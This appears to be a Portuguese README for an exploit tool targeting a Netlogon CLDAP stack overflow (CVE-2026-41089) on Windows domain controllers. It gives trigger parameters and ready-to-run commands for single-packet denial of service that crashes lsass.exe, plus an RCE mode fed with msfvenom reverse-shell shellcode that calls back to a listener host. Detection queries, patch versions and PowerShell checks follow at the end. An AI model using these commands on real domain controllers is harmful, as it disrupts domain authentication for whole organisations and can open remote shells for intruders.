
CVE-2026-41089 é uma vulnerabilidade crítica de execução remota de código no serviço Windows Netlogon, onde um único pacote pode derrubar o lsass.exe, fazendo com que o controlador de domínio reinicie em cerca de 30-60 segundos. Durante esse período, toda a autenticação de domínio desse DC falhará.
CVE-ID: CVE-2026-41089
CVSS: 9.8 (Crítico)
CWE: CWE-121 (Estouro de buffer baseado em pilha)
Vetor de ataque: UDP/389 (CLDAP SearchRequest)
Impacto: Execução remota de código (RCE) / Negação de serviço (DoS)
Versões afetadas: Windows Server 2012 R2 ~ 2025 (Controladores de Domínio)
Patch: Atualização cumulativa de maio de 2026
A função NetpLogonPutUnicodeString em netlogon.dll possui uma vulnerabilidade de estouro de buffer de pilha ao processar solicitações de pesquisa CLDAP. Essa função recebe um orçamento de comprimento em bytes, mas o interpreta como uma contagem de WCHAR, fazendo com que a quantidade gravada seja 2 vezes a esperada.
O estouro ocorre no buffer de pilha fixo de 528 bytes (264 ushort) da função NlGetLocalPingResponse. O campo User, controlável pelo atacante, somado ao próprio nome de domínio DNS do servidor, preenche esse buffer, acabando por sobrescrever o Cookie de segurança GS, causando __report_gsfailure e o crash do lsass.exe.
NtVer=0x02 no CLDAP SearchRequest (força o uso do caminho antigo e vulnerável BuildSamLogonResponse)User ≥ ~130 caracteres (limite binário de aproximadamente 260 bytes UTF-16)Atenção:
NtVer=0x16(valor usado por muitos scripts de detecção públicos) aciona o caminho seguroBuildSamLogonResponseExe não dispara a vulnerabilidade.
| Modo | Descrição |
|---|---|
--mode dos | Envia pacotes CLDAP especialmente construídos, causando o crash do LSASS e a reinicialização do DC (~60 segundos de interrupção de autenticação) |
--mode rce | Tenta execução remota de código (nível de pesquisa, requer shellcode) |
--mode scan | Escaneia as respostas para diferentes valores de NtVer, fazendo fingerprinting do DC alvo |
--mode auto | Detecta automaticamente e seleciona a melhor estratégia de ataque |
Um único pacote é capaz de derrubar o lsass.exe, fazendo com que o controlador de domínio reinicie em cerca de 30-60 segundos. Durante esse período, toda a autenticação de domínio nesse DC falhará.
# Uso básico — envia 3 pacotes
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode dos
# Ataque rápido com pacote único
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 1
# Modo agressivo — 5 pacotes concorrentes
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 5 --delay 0.1
⚠️ Nível de pesquisa — não confiável e instável em ambientes reais.
O RCE enfrenta os seguintes desafios:
# Gerar shellcode
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 \
-f raw -o shellcode.bin
# Enviar cadeia RCE
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode rce \
--shellcode-file shellcode.bin --lhost 10.0.0.5 --lport 4444
# Fazer fingerprinting do DC alvo
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode scan
Exemplo de saída esperada (alvo corrigido):
NtVer=0x00000002 → RESPONDED (3 ms)
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)
Exemplo de saída esperada (alvo não corrigido):
NtVer=0x00000002 → TIMEOUT (5001 ms) ← LSASS crashed!
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)
Se NtVer=0x02 der timeout enquanto as outras versões responderem normalmente, o alvo provavelmente é vulnerável.
| Parâmetro | Descrição | Valor padrão |
|---|---|---|
-l, --user-len | Comprimento do campo de nome de usuário (número de caracteres ASCII) | 180 |
--ntver | Valor de NtVer (hexadecimal, como 0x02) | 0x02 |
--count | Número de pacotes DoS enviados | 3 |
--delay | Atraso entre pacotes (segundos) | 0.5 |
-t, --timeout | Timeout do socket (segundos) | 5.0 |
--json | Exibir resultados em formato JSON | — |
--raw | Imprimir o hexadecimal do pacote bruto antes de enviar | — |
--quiet | Suprimir a saída do banner | — |
--shellcode-file | Arquivo de shellcode personalizado (x64 bruto) | — |
--lhost | Endereço de escuta do shell reverso | — |
--lport | Porta de escuta do shell reverso | 4444 |
# Criar um DC com nome de domínio longo em um Windows Server (não corrigido):
# 1. Promover a controlador de domínio (domínio com nome DNS bem longo, por exemplo "this-is-a-very-long-domain-name-for-testing.corp.local")
# 2. Confirmar que os patches anteriores a maio de 2026 não estão instalados
# 3. Executar a partir da máquina atacante:
python CVE-2026-41089-exp.py <DC_IP> <LONG_DOMAIN_NAME> --mode dos --count 1
# 4. Observar o crash e a reinicialização do DC
User > 100 bytes e NtVer = 0x02Event ID: 1000
Faulting process: lsass.exe
Faulting module: netlogon.dll
Exception code: 0xc0000409 (STATUS_STACK_BUFFER_OVERRUN)
index=wineventlog source="WinEventLog:Application" EventID=1000
Process_Name="lsass.exe" Exception_Code="0xc0000409"
Event
| where Source == "Application" and EventID == 1000
| where RenderedDescription contains "lsass.exe"
| where RenderedDescription contains "0xc0000409"
| Versão do Windows Server | Versão corrigida | Observações |
|---|---|---|
| Server 2012 | 6.2.9200.26079 | ESU |
| Server 2012 R2 | 6.3.9600.23181 | ESU |
| Server 2016 | 10.0.14393.9140 | |
| Server 2019 | 10.0.17763.8755 | |
| Server 2022 | 10.0.20348.5074 | |
| Server 2022 23H2 | 10.0.25398.2330 | |
| Server 2025 | 10.0.26100.32772 |
# Script de detecção seguro — não derruba o alvo
python detect_CVE-2026-41089.py <DC_IP> <DOMAIN>
# Saída JSON (adequada para varredura em lote)
python detect_CVE-2026-41089.py 10.0.0.10 corp.local --json
# Exibir etapas de verificação de patch
python detect_CVE-2026-41089.py 10.0.0.10 corp.local --check-patch
Princípio da detecção: envia solicitações CLDAP curtas com NtVer=0x02 (aciona o caminho vulnerável) e NtVer=0x16 (caminho seguro). Se 0x02 der timeout mas 0x16 responder normalmente, o alvo provavelmente é vulnerável.
Instalar o patch imediatamente: atualização cumulativa de maio de 2026 (KB5058405 ou superior)
# Verificar atualizações instaladas
Get-HotFix | Where-Object {$_.InstalledOn -gt '2026-05-01'}
# Instalar a atualização mais recente
Install-WindowsUpdate -AcceptAll -AutoReboot
Verificar a versão do netlogon.dll:
(Get-Item C:\Windows\System32\netlogon.dll).VersionInfo.FileVersion
# Comparar com a tabela de versões de patch acima